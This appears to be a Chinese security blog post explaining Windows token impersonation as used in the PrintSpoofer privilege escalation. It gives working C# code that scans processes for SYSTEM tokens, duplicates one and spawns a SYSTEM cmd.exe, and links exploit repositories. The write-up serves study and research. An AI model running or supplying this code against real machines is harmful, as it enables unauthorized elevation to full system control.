上周安全研究员itm4n发布了PrintSpoofer权限提升: https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/。经过分析Github上的代码(也可以看这篇360灵腾安全实验室发布的原理分析: https://www.anquanke.com/post/id/204510)大致成因是spoolsv.exe进程会注册一个 rpc 服务,任何授权用户可以访问他,同时攻击者可以利用Server names规范问题注册一个命名管道,而同时System用户访问该管道的时候,我们就可以模拟该token创建一个System权限的进程。下面就简单讲一下Token模拟的原理。
-
主令牌(Primary令牌)
-
模拟令牌(Impersonation令牌)
- 用户账户的安全标识符(SID)
- 用户所属的组的SID
- 用于标识当前登陆会话的登陆SID
- 用户或用户组所拥有的权限列表
- 所有者SID
- 主要组的SID
- 访问控制列表
- 访问令牌的来源
- 令牌是主要令牌还是模拟令牌
- 限制SID的可选列表
- 目前的模拟等级
- 其他统计的数据
可以通过whoami /user命令查看当前的SID

- Anonymous:服务器无法模拟或识别客户端。
- Identification:服务器可以获取客户端的身份和特权,但不能模拟客户端。
- Impersonation:服务器可以在本地系统上模拟客户端的安全上下文。
- Delegation:服务器可以在远程系统上模拟客户端的安全上下文。
| 函数 | 需要的特权 | 需要输入的值 |
| CreateProcessWithLogon() | null | 域/用户名/密码 |
| CreateProcessWithToken() | SeImpersonatePrivilege | Primary令牌 |
| CreateProcessAsUser() | SeAssignPrimaryTokenPrivilege和SeIncreaseQuotaPrivilege | Primary令牌 |
所以,我们则需要对每个进程进行爆破,直到找到满足如下条件的进程:
- 进程运行用户是SYSTEM
- 令牌级别至少是Impersonation级别
- 攻击者运行的权限至少拥有SeImpersonatePrivilege
我在后面使用C#编写了一个demo,大概执行过程我会在这里详细的介绍。并在文章末尾附上Github地址。
1 public static Boolean EnumerateUserProcesses() 2 { 3 Boolean rs = false; 4 Process[] pids = Process.GetProcesses(); 5 Console.WriteLine("[*] Examining {0} processes", pids.Length); 6 foreach (Process p in pids) 7 { 8 if (p.ProcessName.ToUpper().Equals("System".ToUpper())) { //跳过进程名为"System"的进程 9 continue; 10 } 11 IntPtr hProcess = OpenProcess(Flags.PROCESS_QUERY_INFORMATION, true, p.Id); 12 if (IntPtr.Zero == hProcess) 13 { 14 hProcess = OpenProcess(Flags.PROCESS_QUERY_LIMITED_INFORMATION, true, p.Id); //required for protected processes 15 if (IntPtr.Zero == hProcess) 16 { 17 continue; 18 } 19 } 20 IntPtr hToken; 21 if (!OpenProcessToken(hProcess, Flags.MAXIMUM_ALLOWED, out hToken)) 22 { 23 continue; 24 } 25 CloseHandle(hProcess); 26 27 UInt32 dwLength = 0; 28 TOKEN_STATISTICS tokenStatistics = new TOKEN_STATISTICS(); 29 if (!GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) 30 { 31 if (!GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) 32 { 33 continue; 34 } 35 } 36 37 String userName = String.Empty; 38 if (!GetTokenInformationToUsername(tokenStatistics, ref userName)) 39 { 40 continue; 41 } 42 43 rs = token_elevation(hToken); 44 if (rs) 45 { 46 Console.WriteLine("模拟成功!PID:" + p.Id); 47 break; 48 } 49 } 50 return rs; 51 }
1 LookupAccountSid(String.Empty, securityLogonSessionData.Sid, lpName, ref cchName, lpReferencedDomainName, ref cchReferencedDomainName, out sidNameUse); 2 3 userName = lpName.ToString(); 4 if (!userName.ToUpper().Equals("System".ToUpper())) { 5 return false; 6 }
接下来就是重头戏token_elevation函数
1 public static Boolean token_elevation(IntPtr hExistingToken) { 2 IntPtr phNewToken; 3 STARTUPINFO StartupInfo = new STARTUPINFO(); 4 PROCESS_INFORMATION procinfo = new PROCESS_INFORMATION(); 5 StartupInfo.cb = (UInt32)Marshal.SizeOf(StartupInfo); 6 SECURITY_ATTRIBUTES securityAttributes = new SECURITY_ATTRIBUTES(); 7 if (!DuplicateTokenEx( 8 hExistingToken, 9 Flags.TOKEN_ALL_ACCESS, 10 ref securityAttributes, 11 SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, 12 TOKEN_TYPE.TokenPrimary, 13 out phNewToken 14 )) 15 { 16 return false; 17 } 18 Console.WriteLine("[+] Duplicate The Token!"); 19 20 //提升自身进程权限 21 //if (!ImpersonateLoggedOnUser(phNewToken)) 22 //{ 23 // return false; 24 //} 25 //Console.WriteLine("[+] Operating as {0}", System.Security.Principal.WindowsIdentity.GetCurrent().Name); 26 27 if (CreateProcessWithTokenW(phNewToken, CREATE_FLAGS.LOGON_WITH_PROFILE, "C:\\Windows\\System32\\cmd.exe", null, CREATION_FLAGS.CREATE_NEW_CONSOLE, IntPtr.Zero, IntPtr.Zero, ref StartupInfo, out procinfo)) 28 { 29 Console.WriteLine("[+] SUCCESS"); 30 return true; 31 } 32 return false; 33 }
函数中调用了DuplicateTokenEx转换成TOKEN_TYPE.TokenPrimary,也是Primary令牌。
并调用了CreateProcessWithTokenW创建了一个新的cmd进程
运行效果如下:

但是新建一个进程在虚拟终端中提权有些不便,后面看到冷逸师傅的Github上(https://github.com/lengjibo/RedTeamTools/blob/master/windows/getsystem/GetSystem.exe)的解决方案是通过命令管道来重定向新进程的输出
分析定位到代码

程序是由https://github.com/yusufqk/SystemToken改动之后,调用CreatePipe函数创建命名管道,并将重定向句柄传入StartupInfo结构体中
偷个懒,我就也利用源码自己照着IDA上的伪代码自己写了个demo

运行后如下:

我将C#代码和C++代码都放到我的GIthub上开源了:https://github.com/sf197/TokenPrivilege_Demo
Reference:
- https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
- https://github.com/itm4n/PrintSpoofer/blob/master/PrintSpoofer/PrintSpoofer.cpp
- https://github.com/0xbadjuju/Tokenvator/
- https://github.com/NetSPI/MonkeyWorks
首发:https://www.anquanke.com/post/id/204721
在写博客的过程中貌似发现了一处降权后的操作导致无法以管理员运行程序的问题

